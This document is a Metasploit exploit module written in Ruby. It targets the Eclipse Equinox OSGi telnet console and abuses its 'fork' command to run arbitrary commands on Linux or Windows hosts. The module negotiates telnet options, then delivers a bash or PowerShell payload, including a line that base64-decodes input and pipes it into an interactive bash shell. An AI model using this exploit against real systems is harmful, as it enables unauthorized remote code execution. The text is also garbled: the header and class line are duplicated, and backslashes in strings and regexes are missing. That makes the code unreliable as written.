Eclipse Equinoxe OSGi Console Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'

class ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

TELNET_IAC = Msf::Exploit::Remote::Telnet

def initialize(info = {})
super(update_info(info,
'Name' => 'Eclipse Equinoxe OSGi Console Command Execution',
'Description' => %q{
Exploit Eclipse Equinoxe OSGi (Open Service Gateway initiative) console
'fork' command to execute arbitrary commands on the remote system..
},
'Author' =>
[
'Quentin Kaiser <kaiserquentin@gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://www.eclipse.org/equinox/documents/quickstart-framework.php']
],
'Platform' => %w{ linux win },
'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
'Targets'=> [
[ 'Linux (Bash Payload)', { 'Platform' => 'linux' } ],
[ 'Windows (Powershell Payload)', { 'Platform' => 'win' } ]
],
'CmdStagerFlavor' => [ 'bourne' ],
'DisclosureDate' => 'Feb 13 2018',
'DefaultTarget' => 0))
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
register_options([
OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
])
end

def check
connect
res = sock.get_once
if res == TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_ECHO+
TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_SGA+
TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_NAWS+
TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_TTYPE
# terminal type 'xterm-256color' = x78x74x65x72x6Dx2Dx32x35x36x63x6Fx6Cx6Fx72
sock.put(TELNET_IAC::IAC+TELNET_IAC::SB+TELNET_IAC::OPT_TTYPE+
"x00xterm-256color"+TELNET_IAC::IAC+TELNET_IAC::SE)
res = sock.get_once
end
disconnect
if res && res == "osgi> "
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
begin
print_status("Accessing the OSGi console ...")

unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NoTarget, "#{peer} - Failed to access the OSGi console")
end

if target['Platform'] == "win" then
exec_command("fork "#{cmd_psh_payload(payload.encoded, payload_instance.arch.first, {encode_final_payload: true, remove_comspec: true})}"")
else
execute_cmdstager({:flavor => :bourne})
end

print_status("#{rhost}:#{rport} - Waiting for session...")

(datastore['TIME_WAIT']).times do
Rex.sleep(1)
# Success! session is here!
break if session_created?
end
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
ensure
disconnect
end
end

def exec_command(cmd)
connect
res = sock.get_once
if res == TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_ECHO+
TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_SGA+
TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_NAWS+
TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_TTYPE
sock.put(TELNET_IAC::IAC+TELNET_IAC::SB+TELNET_IAC::OPT_TTYPE+
"x00xterm-256color"+TELNET_IAC::IAC+TELNET_IAC::SE)
res = sock.get_once
end
print_status("Exploiting...")
sock.put("#{cmd} ")
res = sock.get
sock.put("disconnect ")
res = sock.get
sock.put("y ")
end

def execute_command(cmd, opts={})
cmd_b64 = Base64.encode64(cmd).gsub(/s+/, "")
# Runtime.getRuntime().exec() workaround on Linux. Requires bash.
exec_command("fork "bash -c {echo,#{cmd_b64}}|{base64,-d}|{bash,-i}"")
end
end